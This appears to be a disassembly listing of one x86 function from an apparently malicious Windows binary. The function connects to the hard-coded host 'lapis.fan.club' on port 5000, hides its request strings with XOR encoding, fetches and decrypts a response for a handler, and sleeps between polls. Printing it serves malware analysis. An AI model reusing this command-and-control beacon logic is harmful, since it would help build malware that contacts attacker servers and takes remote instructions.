Function at 0x404330
Capabilities:
Reference http user-agent string

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x1868
call fcn.0040b5d0
mov eax, dword [0x40f008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x40f404], 0
push esi
push edi
je 0x40495c
push 0x400
call fcn.0040a694
add esp, 4
mov esi, eax
mov dword [ebp - 0x1844], esi
push 0x400
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 0
push 0x40ca24
call dword [0x410544]
mov edi, eax
mov dword [ebp - 0x1860], edi
test edi, edi
je 0x404953
push 0
push 0x1388
push str.lapis.fan.club
push edi
call dword [0x410538]
mov dword [ebp - 0x1850], eax
test eax, eax
je 0x40494c
mov al, 0xc
mov word [ebp - 0x182c], 0xc
movsx dx, al
xor eax, eax
mov word [ebp - 0x1826], ax
mov al, 0x73
mov word [ebp - 0x1838], 0x73
mov ecx, edx
xor edx, 0x6f
xor ecx, 0x23
mov word [ebp - 0x1828], dx
mov word [ebp - 0x182a], cx
movsx cx, al
mov eax, ecx
xor eax, 0x34
mov word [ebp - 0x1836], ax
mov eax, ecx
xor eax, 0x36
xor ecx, 0x27
mov word [ebp - 0x1834], ax
xor eax, eax
push eax
push eax
push eax
push eax
mov word [ebp - 0x1830], ax
lea eax, [ebp - 0x182a]
push eax
lea eax, [ebp - 0x1836]
mov word [ebp - 0x1832], cx
push eax
push dword [ebp - 0x1850]
call dword [0x410548]
mov edi, eax
mov dword [ebp - 0x185c], edi
test edi, edi
je 0x404938
push 0x800
lea eax, [ebp - 0x808]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1008]
push 0x800
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1808]
push 0x800
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov al, 0x15
mov word [ebp - 0x181c], 0x15
movsx cx, al
add esp, 0xc
mov eax, ecx
xor eax, 0x4d
mov word [ebp - 0x181a], ax
mov eax, ecx
xor eax, 0x38
mov word [ebp - 0x1818], ax
mov eax, ecx
xor eax, 0x5e
mov word [ebp - 0x1816], ax
mov eax, ecx
xor eax, 0x70
mov word [ebp - 0x1814], ax
mov eax, ecx
xor eax, 0x6c
mov word [ebp - 0x1812], ax
mov eax, ecx
xor eax, 0x2f
xor ecx, 0x35
mov word [ebp - 0x1810], ax
xor eax, eax
mov word [ebp - 0x180c], ax
lea eax, [ebp - 0x181a]
push eax
lea eax, [ebp - 0x808]
mov word [ebp - 0x180e], cx
push 0x400
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov ecx, 0x40f528
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404538
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x1808]
push 0x40f528
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
add esp, 0xc
lea eax, [ebp - 0x1808]
push eax
lea eax, [ebp - 0x808]
push 0x400
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov al, 0x78
mov word [ebp - 0x1824], 0x78
movsx cx, al
add esp, 0xc
mov eax, ecx
xor ecx, 0x72
xor eax, 0x75
mov word [ebp - 0x1820], cx
mov word [ebp - 0x1822], ax
xor eax, eax
mov word [ebp - 0x181e], ax
lea eax, [ebp - 0x1822]
push eax
lea eax, [ebp - 0x808]
push 0x400
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov al, 0x67
mov word [ebp - 0x181c], 0x67
movsx cx, al
add esp, 0xc
mov eax, ecx
xor eax, 0x3f
mov word [ebp - 0x181a], ax
mov eax, ecx
xor eax, 0x4a
mov word [ebp - 0x1818], ax
mov eax, ecx
xor eax, 0x35
mov word [ebp - 0x1816], ax
mov eax, ecx
xor eax, 2
mov word [ebp - 0x1814], ax
mov eax, ecx
xor eax, 0x16
mov word [ebp - 0x1812], ax
mov eax, ecx
xor eax, 0x5d
xor ecx, 0x47
mov word [ebp - 0x1810], ax
xor eax, eax
mov word [ebp - 0x180c], ax
lea eax, [ebp - 0x181a]
push eax
lea eax, [ebp - 0x1008]
mov word [ebp - 0x180e], cx
push 0x400
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
lea eax, [ebp - 0x1008]
push dword [0x40f408]
push eax
push 0x40ca74
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x1008]
push eax
lea eax, [ebp - 0x808]
push 0x400
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0x1c
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x808]
push eax
push edi
call dword [0x41053c]
test eax, eax
je 0x4046a0
push 0
push edi
call dword [0x410550]
mov dword [ebp - 0x183c], 0
mov dword [ebp - 0x1840], 0
test eax, eax
je 0x4048ee
nop dword [eax]
lea eax, [ebp - 0x183c]
mov dword [ebp - 0x183c], 0
push eax
push edi
call dword [0x410540]
test eax, eax
je 0x4048e8
mov eax, dword [ebp - 0x183c]
inc eax
push eax
call fcn.0040a694
mov esi, eax
add esp, 4
mov dword [ebp - 0x1858], esi
test esi, esi
je 0x4048de
mov ecx, dword [ebp - 0x183c]
test ecx, ecx
je 0x4048de
inc ecx
push ecx
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1840]
push eax
push dword [ebp - 0x183c]
push esi
push edi
call dword [0x41054c]
test eax, eax
je 0x4048d3
cmp dword [ebp - 0x1840], 1
jne 0x40474a
cmp byte [esi], 0x30
je 0x4048d3
mov eax, dword [ebp - 0x183c]
add eax, 0x10
mov dword [ebp - 0x181c], 4
push eax
mov dword [ebp - 0x1818], 4
mov dword [ebp - 0x1814], 0xa
mov dword [ebp - 0x1810], 0x10
call fcn.0040a694
mov ecx, dword [ebp - 0x183c]
add esp, 4
add ecx, 0x10
push ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0x1840]
add esp, 0xc
mov dword [ebp - 0x1848], eax
push eax
call fcn.0040a694
add esp, 4
mov esi, eax
mov dword [ebp - 0x1820], esi
push 0x10
call fcn.0040a694
add esp, 4
mov edi, eax
mov dword [ebp - 0x184c], edi
push 0xb0
call fcn.0040a694
add esp, 4
mov dword [ebp - 0x1854], eax
push eax
push ecx
lea ecx, [ebp - 0x181c]
call fcn.00401670
mov eax, dword [ebp - 0x1848]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
test eax, eax
je 0x40485e
mov ecx, dword [ebp - 0x1858]
dec eax
sub ecx, esi
shr eax, 4
inc eax
mov dword [ebp - 0x1864], ecx
mov edi, esi
mov dword [ebp - 0x1848], eax
push dword [ebp - 0x1854]
lea esi, [ecx + edi]
push edi
push esi
lea ecx, [ebp - 0x181c]
call fcn.00401310
push 0x10
push edi
push edi
push dword [ebp - 0x184c]
call fcn.00401ba0
mov eax, dword [ebp - 0x184c]
add edi, 0x10
sub dword [ebp - 0x1848], 1
movups xmm0, xmmword [esi]
mov ecx, dword [ebp - 0x1864]
movups xmmword [eax], xmm0
jne 0x404813
mov esi, dword [ebp - 0x1820]
mov edi, eax
push edi
call fcn.0040a68f
add esp, 4
push dword [ebp - 0x1854]
call fcn.0040a68f
mov edx, dword [ebp - 0x1840]
add esp, 4
mov eax, edx
movzx ecx, byte [esi + edx - 1]
sub eax, ecx
cmp eax, edx
jae 0x40489d
nop dword [eax + eax]
mov byte [esi + eax], 0
inc eax
cmp eax, dword [ebp - 0x1840]
jb 0x404890
mov ecx, esi
call fcn.00403f10
push dword [ebp - 0x1858]
call fcn.0040a68f
add esp, 4
test esi, esi
je 0x4048bf
push esi
call fcn.0040a68f
add esp, 4
cmp dword [ebp - 0x183c], 0
mov edi, dword [ebp - 0x185c]
jbe 0x4048e8
jmp 0x4046c0
push esi
call fcn.0040a68f
add esp, 4
jmp 0x4048e8
mov dword [ebp - 0x183c], 0
mov esi, dword [ebp - 0x1844]
push edi
call dword [0x410554]
push dword [ebp - 0x1850]
call dword [0x410554]
push dword [ebp - 0x1860]
call dword [0x410554]
test esi, esi
je 0x40491a
push esi
call fcn.0040a68f
add esp, 4
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a67e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push dword [ebp - 0x1860]
call dword [0x410554]
push dword [ebp - 0x1850]
jmp 0x40494d
push edi
call dword [0x410554]
push esi
call fcn.0040a68f
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040a67e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret